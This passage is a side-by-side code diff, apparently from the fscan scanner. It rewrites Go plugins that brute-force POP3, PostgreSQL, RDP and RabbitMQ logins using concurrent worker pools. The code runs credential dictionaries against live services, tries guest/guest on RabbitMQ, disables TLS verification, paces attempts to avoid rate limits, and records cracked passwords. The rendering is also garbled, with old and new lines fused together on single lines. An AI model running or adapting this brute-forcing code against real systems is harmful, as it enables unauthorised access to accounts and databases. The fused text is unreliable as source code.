Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
// 重试间隔时间增加,避免触发服务器限制
retryDelay := time.Duration(retry*2000) * time.Millisecond
time.Sleep(retryDelay)
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, isTLS, err := POP3Conn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &POP3ScanResult{
Success: true,
Credential: credential,
IsTLS: isTLS,
}
}
lastErr = err
if err != nil {
// 处理特定错误情况
if strings.Contains(strings.ToLower(err.Error()), "too many connections") ||
strings.Contains(strings.ToLower(err.Error()), "connection refused") ||
strings.Contains(strings.ToLower(err.Error()), "timeout") {
// 服务器可能限制连接,增加等待时间
waitTime := time.Duration((retry+1)*3000) * time.Millisecond
Common.LogDebug(fmt.Sprintf("服务器可能限制连接,等待 %v 后重试", waitTime))
time.Sleep(waitTime)
continue
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &POP3ScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
func POP3Conn(info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) { // POP3Conn 尝试POP3连接
func POP3Conn(ctx context.Context, info *Common.HostInfo, user string, pass string) (success bool, isTLS bool, err error) {
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(Common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", info.Host, info.Ports) addr := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 首先尝试普通连接 // 创建结果通道
conn, err := net.DialTimeout("tcp", addr, timeout) resultChan := make(chan struct {
if err == nil { success bool
if flag, err := tryPOP3Auth(conn, user, pass, timeout); err == nil { isTLS bool
return flag, false, nil err error
}, 1)
// 在协程中尝试连接,支持取消
go func() {
// 首先尝试普通连接
dialer := &net.Dialer{
Timeout: timeout,
// 增加KeepAlive设置可能有助于处理一些服务器的限制
KeepAlive: 30 * time.Second,
}
conn, err := dialer.DialContext(ctx, "tcp", addr)
if err == nil {
flag, authErr := tryPOP3Auth(conn, user, pass, timeout)
conn.Close()
if authErr == nil && flag {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
isTLS bool
err error
}{flag, false, nil}:
}
return
}
} }
conn.Close()
}
// 如果普通连接失败尝试TLS连接 // 如果普通连接失败尝试TLS连接
tlsConfig := &tls.Config{ select {
InsecureSkipVerify: true, case <-ctx.Done():
} return
conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig) default:
if err != nil { }
return false, false, fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
success, err = tryPOP3Auth(conn, user, pass, timeout) tlsConfig := &tls.Config{
return success, true, err InsecureSkipVerify: true,
}
tlsConn, tlsErr := tls.DialWithDialer(dialer, "tcp", addr, tlsConfig)
if tlsErr != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
isTLS bool
err error
}{false, false, fmt.Errorf("连接失败: %v", tlsErr)}:
}
return
}
defer tlsConn.Close()
flag, authErr := tryPOP3Auth(tlsConn, user, pass, timeout)
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
isTLS bool
err error
}{flag, true, authErr}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.isTLS, result.err
case <-ctx.Done():
return false, false, ctx.Err()
}
} }
// tryPOP3Auth 尝试POP3认证
func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) { func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration) (bool, error) {
reader := bufio.NewReader(conn) reader := bufio.NewReader(conn)
// 设置较长的超时时间以适应一些较慢的服务器
conn.SetDeadline(time.Now().Add(timeout)) conn.SetDeadline(time.Now().Add(timeout))
// 读取欢迎信息 // 读取欢迎信息
_, err := reader.ReadString('\n') response, err := reader.ReadString('\n')
if err != nil { if err != nil {
return false, fmt.Errorf("读取欢迎消息失败: %v", err) return false, fmt.Errorf("读取欢迎消息失败: %v", err)
} }
// 检查是否有错误信息
if strings.Contains(strings.ToLower(response), "error") ||
strings.Contains(strings.ToLower(response), "too many") {
return false, fmt.Errorf("服务器拒绝连接: %s", strings.TrimSpace(response))
}
// 发送用户名前等待一小段时间
time.Sleep(300 * time.Millisecond)
// 发送用户名 // 发送用户名
conn.SetDeadline(time.Now().Add(timeout)) conn.SetDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user))) _, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user)))
@ -157,14 +352,17 @@ func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration)
// 读取用户名响应 // 读取用户名响应
conn.SetDeadline(time.Now().Add(timeout)) conn.SetDeadline(time.Now().Add(timeout))
response, err := reader.ReadString('\n') response, err = reader.ReadString('\n')
if err != nil { if err != nil {
return false, fmt.Errorf("读取用户名响应失败: %v", err) return false, fmt.Errorf("读取用户名响应失败: %v", err)
} }
if !strings.Contains(response, "+OK") { if !strings.Contains(response, "+OK") {
return false, fmt.Errorf("用户名无效") return false, fmt.Errorf("用户名无效: %s", strings.TrimSpace(response))
} }
// 发送密码前等待一小段时间
time.Sleep(300 * time.Millisecond)
// 发送密码 // 发送密码
conn.SetDeadline(time.Now().Add(timeout)) conn.SetDeadline(time.Now().Add(timeout))
_, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass))) _, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass)))
@ -183,5 +381,34 @@ func tryPOP3Auth(conn net.Conn, user string, pass string, timeout time.Duration)
return true, nil return true, nil
} }
return false, fmt.Errorf("认证失败") return false, fmt.Errorf("认证失败: %s", strings.TrimSpace(response))
}
// savePOP3Result 保存POP3扫描结果
func savePOP3Result(info *Common.HostInfo, target string, result *POP3ScanResult) {
tlsStatus := ""
if result.IsTLS {
tlsStatus = " (TLS)"
}
successMsg := fmt.Sprintf("POP3服务 %s 用户名: %v 密码: %v%s",
target, result.Credential.Username, result.Credential.Password, tlsStatus)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "pop3",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
"tls": result.IsTLS,
},
}
Common.SaveResult(vulnResult)
} }

View File

@ -1,115 +1,205 @@
package Plugins package Plugins
import ( import (
"context"
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/lib/pq" _ "github.com/lib/pq"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"sync"
"time" "time"
) )
// PostgresCredential 表示一个PostgreSQL凭据
type PostgresCredential struct {
Username string
Password string
}
// PostgresScanResult 表示PostgreSQL扫描结果
type PostgresScanResult struct {
Success bool
Error error
Credential PostgresCredential
}
// PostgresScan 执行PostgreSQL服务扫描 // PostgresScan 执行PostgreSQL服务扫描
func PostgresScan(info *Common.HostInfo) (tmperr error) { func PostgresScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
maxRetries := Common.MaxRetries
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["postgresql"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0 // 设置全局超时上下文
total := totalUsers * totalPass ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []PostgresCredential
for _, user := range Common.Userdict["postgresql"] { for _, user := range Common.Userdict["postgresql"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, PostgresCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
for retryCount := 0; retryCount < maxRetries; retryCount++ { Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
if retryCount > 0 { len(Common.Userdict["postgresql"]), len(Common.Passwords), len(credentials)))
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct { // 使用工作池并发扫描
success bool result := concurrentPostgresScan(ctx, info, credentials, Common.Timeout+10, Common.MaxRetries)
err error if result != nil {
}, 1) // 记录成功结果
savePostgresResult(info, target, result.Credential)
return nil
}
go func(user, pass string) { // 检查是否因为全局超时而退出
success, err := PostgresConn(info, user, pass) select {
select { case <-ctx.Done():
case done <- struct { Common.LogDebug("PostgreSQL扫描全局超时")
success bool return fmt.Errorf("全局超时")
err error default:
}{success, err}: Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
default: return nil
} }
}(user, pass) }
var err error // concurrentPostgresScan 并发扫描PostgreSQL服务
func concurrentPostgresScan(ctx context.Context, info *Common.HostInfo, credentials []PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *PostgresScanResult, 1)
workChan := make(chan PostgresCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err return
if result.success && err == nil { default:
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass) result := tryPostgresCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
Common.LogSuccess(successMsg) if result.Success {
select {
// 保存结果 case resultChan <- result:
vulnResult := &Common.ScanResult{ scanCancel() // 找到有效凭据,取消其他工作
Time: time.Now(), default:
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "postgresql",
"username": user,
"password": pass,
"type": "weak-password",
},
} }
Common.SaveResult(vulnResult) return
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errMsg := fmt.Sprintf("PostgreSQL服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
} }
} }
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("PostgreSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryPostgresCredential 尝试单个PostgreSQL凭据
func tryPostgresCredential(ctx context.Context, info *Common.HostInfo, credential PostgresCredential, timeoutSeconds int64, maxRetries int) *PostgresScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &PostgresScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建单个连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := PostgresConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &PostgresScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &PostgresScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// PostgresConn 尝试PostgreSQL连接 // PostgresConn 尝试PostgreSQL连接
func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error) { func PostgresConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串 // 构造连接字符串
connStr := fmt.Sprintf( connStr := fmt.Sprintf(
"postgres://%v:%v@%v:%v/postgres?sslmode=disable", "postgres://%v:%v@%v:%v/postgres?sslmode=disable&connect_timeout=%d",
user, pass, info.Host, info.Ports, user, pass, info.Host, info.Ports, Common.Timeout/1000, // 转换为秒
) )
// 建立数据库连接 // 建立数据库连接
@ -120,12 +210,45 @@ func PostgresConn(info *Common.HostInfo, user string, pass string) (bool, error)
defer db.Close() defer db.Close()
// 设置连接参数 // 设置连接参数
db.SetConnMaxLifetime(timeout) db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Millisecond)
db.SetMaxOpenConns(1)
db.SetMaxIdleConns(0)
// 测试连接 // 使用上下文测试连接
if err = db.Ping(); err != nil { err = db.PingContext(ctx)
if err != nil {
return false, err
}
// 简单查询测试权限
var version string
err = db.QueryRowContext(ctx, "SELECT version()").Scan(&version)
if err != nil {
return false, err return false, err
} }
return true, nil return true, nil
} }
// savePostgresResult 保存PostgreSQL扫描结果
func savePostgresResult(info *Common.HostInfo, target string, credential PostgresCredential) {
successMsg := fmt.Sprintf("PostgreSQL服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "postgresql",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}

View File

@ -1,6 +1,7 @@
package Plugins package Plugins
import ( import (
"context"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
@ -22,84 +23,200 @@ import (
"time" "time"
) )
// Brutelist 表示暴力破解的用户名密码组合 // RDPCredential 表示一个RDP凭据
type Brutelist struct { type RDPCredential struct {
user string Username string
pass string Password string
Domain string
}
// RDPScanResult 表示RDP扫描结果
type RDPScanResult struct {
Success bool
Error error
Credential RDPCredential
} }
// RdpScan 执行RDP服务扫描 // RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) (tmperr error) { func RdpScan(info *Common.HostInfo) error {
defer func() { defer func() {
recover() if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("RDP扫描panic: %v", r))
}
}() }()
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
port, _ := strconv.Atoi(info.Ports) port, _ := strconv.Atoi(info.Ports)
total := len(Common.Userdict["rdp"]) * len(Common.Passwords)
num := 0
target := fmt.Sprintf("%v:%v", info.Host, port) target := fmt.Sprintf("%v:%v", info.Host, port)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 遍历用户名密码组合 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []RDPCredential
for _, user := range Common.Userdict["rdp"] { for _, user := range Common.Userdict["rdp"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
num++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, RDPCredential{
Username: user,
// 尝试连接 Password: actualPass,
flag, err := RdpConn(info.Host, Common.Domain, user, pass, port, Common.Timeout) Domain: Common.Domain,
})
if flag && err == nil {
// 连接成功
var result string
if Common.Domain != "" {
result = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v", target, Common.Domain, user, pass)
} else {
result = fmt.Sprintf("RDP %v Username: %v Password: %v", target, user, pass)
}
Common.LogSuccess(result)
// 保存结果
details := map[string]interface{}{
"port": port,
"service": "rdp",
"username": user,
"password": pass,
"type": "weak-password",
}
if Common.Domain != "" {
details["domain"] = Common.Domain
}
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
return nil
}
// 连接失败
errlog := fmt.Sprintf("(%v/%v) RDP %v Username: %v Password: %v Error: %v",
num, total, target, user, pass, err)
Common.LogError(errlog)
} }
} }
return tmperr Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["rdp"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentRdpScan(ctx, info, credentials, port, Common.Timeout)
if result != nil {
// 记录成功结果
saveRdpResult(info, target, port, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("RDP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentRdpScan 并发扫描RDP服务
func concurrentRdpScan(ctx context.Context, info *Common.HostInfo, credentials []RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RDPScanResult, 1)
workChan := make(chan RDPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryRdpCredential(scanCtx, info.Host, credential, port, timeoutSeconds)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("RDP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRdpCredential 尝试单个RDP凭据
func tryRdpCredential(ctx context.Context, host string, credential RDPCredential, port int, timeoutSeconds int64) *RDPScanResult {
// 创建结果通道
resultChan := make(chan *RDPScanResult, 1)
// 在协程中进行连接尝试
go func() {
success, err := RdpConn(host, credential.Domain, credential.Username, credential.Password, port, timeoutSeconds)
select {
case <-ctx.Done():
// 上下文已取消,不返回结果
case resultChan <- &RDPScanResult{
Success: success,
Error: err,
Credential: credential,
}:
// 成功发送结果
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result
case <-ctx.Done():
return &RDPScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
// 单个连接超时
return &RDPScanResult{
Success: false,
Error: fmt.Errorf("连接超时"),
Credential: credential,
}
}
} }
// RdpConn 尝试RDP连接 // RdpConn 尝试RDP连接
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) { func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
defer func() { defer func() {
recover() if r := recover(); r != nil {
glog.Error("RDP连接panic:", r)
}
}() }()
target := fmt.Sprintf("%s:%d", ip, port) target := fmt.Sprintf("%s:%d", ip, port)
// 创建RDP客户端 // 创建RDP客户端
@ -111,6 +228,43 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
return true, nil return true, nil
} }
// saveRdpResult 保存RDP扫描结果
func saveRdpResult(info *Common.HostInfo, target string, port int, credential RDPCredential) {
var successMsg string
if credential.Domain != "" {
successMsg = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v",
target, credential.Domain, credential.Username, credential.Password)
} else {
successMsg = fmt.Sprintf("RDP %v Username: %v Password: %v",
target, credential.Username, credential.Password)
}
Common.LogSuccess(successMsg)
// 保存结果
details := map[string]interface{}{
"port": port,
"service": "rdp",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
if credential.Domain != "" {
details["domain"] = credential.Domain
}
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
// Client RDP客户端结构 // Client RDP客户端结构
type Client struct { type Client struct {
Host string // 服务地址(ip:port) Host string // 服务地址(ip:port)
@ -161,8 +315,25 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 设置事件处理器 // 设置事件处理器
g.setupEventHandlers(wg, &breakFlag, &err) g.setupEventHandlers(wg, &breakFlag, &err)
wg.Wait() // 添加额外的超时保护
return err connectionDone := make(chan struct{})
go func() {
wg.Wait()
close(connectionDone)
}()
select {
case <-connectionDone:
// 连接过程正常完成
return err
case <-time.After(time.Duration(timeout) * time.Second):
// 超时
if !breakFlag {
breakFlag = true
wg.Done()
}
return fmt.Errorf("连接超时")
}
} }
// initProtocolStack 初始化RDP协议栈 // initProtocolStack 初始化RDP协议栈

View File

@ -1,205 +1,308 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
amqp "github.com/rabbitmq/amqp091-go" amqp "github.com/rabbitmq/amqp091-go"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
// RabbitMQCredential 表示一个RabbitMQ凭据
type RabbitMQCredential struct {
Username string
Password string
}
// RabbitMQScanResult 表示扫描结果
type RabbitMQScanResult struct {
Success bool
Error error
Credential RabbitMQCredential
ErrorMsg string // 保存详细的错误信息
}
// RabbitMQScan 执行 RabbitMQ 服务扫描 // RabbitMQScan 执行 RabbitMQ 服务扫描
func RabbitMQScan(info *Common.HostInfo) (tmperr error) { func RabbitMQScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试默认账号 guest/guest")
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 先测试默认账号 guest/guest // 先测试默认账号 guest/guest
user, pass := "guest", "guest" Common.LogDebug("尝试默认账号 guest/guest")
for retryCount := 0; retryCount < maxRetries; retryCount++ { defaultCredential := RabbitMQCredential{Username: "guest", Password: "guest"}
if retryCount > 0 { defaultResult := tryRabbitMQCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
Common.LogDebug(fmt.Sprintf("第%d次重试默认账号: guest/guest", retryCount+1))
}
done := make(chan struct { if defaultResult.Success {
success bool saveRabbitMQResult(info, target, defaultResult.Credential)
err error return nil
}, 1) } else if defaultResult.Error != nil {
// 打印默认账号的详细错误信息
go func() { Common.LogDebug(fmt.Sprintf("默认账号 guest/guest 失败,详细错误: %s", defaultResult.ErrorMsg))
success, err := RabbitMQConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}()
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rabbitmq",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("RabbitMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
} }
totalUsers := len(Common.Userdict["rabbitmq"]) // 构建其他凭据列表
totalPass := len(Common.Passwords) var credentials []RabbitMQCredential
total := totalUsers * totalPass
tried := 0
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
// 遍历其他用户名密码组合
for _, user := range Common.Userdict["rabbitmq"] { for _, user := range Common.Userdict["rabbitmq"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, RabbitMQCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
for retryCount := 0; retryCount < maxRetries; retryCount++ { Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
if retryCount > 0 { len(Common.Userdict["rabbitmq"]), len(Common.Passwords), len(credentials)))
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct { // 使用工作池并发扫描
success bool result := concurrentRabbitMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
err error if result != nil {
}, 1) // 记录成功结果
saveRabbitMQResult(info, target, result.Credential)
return nil
}
go func(user, pass string) { // 检查是否因为全局超时而退出
success, err := RabbitMQConn(info, user, pass) select {
select { case <-ctx.Done():
case done <- struct { Common.LogDebug("RabbitMQ扫描全局超时")
success bool return fmt.Errorf("全局超时")
err error default:
}{success, err}: Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认账号
default: return nil
} }
}(user, pass) }
var err error // concurrentRabbitMQScan 并发扫描RabbitMQ服务
func concurrentRabbitMQScan(ctx context.Context, info *Common.HostInfo, credentials []RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RabbitMQScanResult, 1)
workChan := make(chan RabbitMQCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err return
if result.success && err == nil { default:
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v", result := tryRabbitMQCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
target, user, pass) if result.Success {
Common.LogSuccess(successMsg) select {
case resultChan <- result:
// 保存结果 scanCancel() // 找到有效凭据,取消其他工作
vulnResult := &Common.ScanResult{ default:
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rabbitmq",
"username": user,
"password": pass,
"type": "weak-password",
},
} }
Common.SaveResult(vulnResult) return
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("RabbitMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
} }
} }
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("RabbitMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
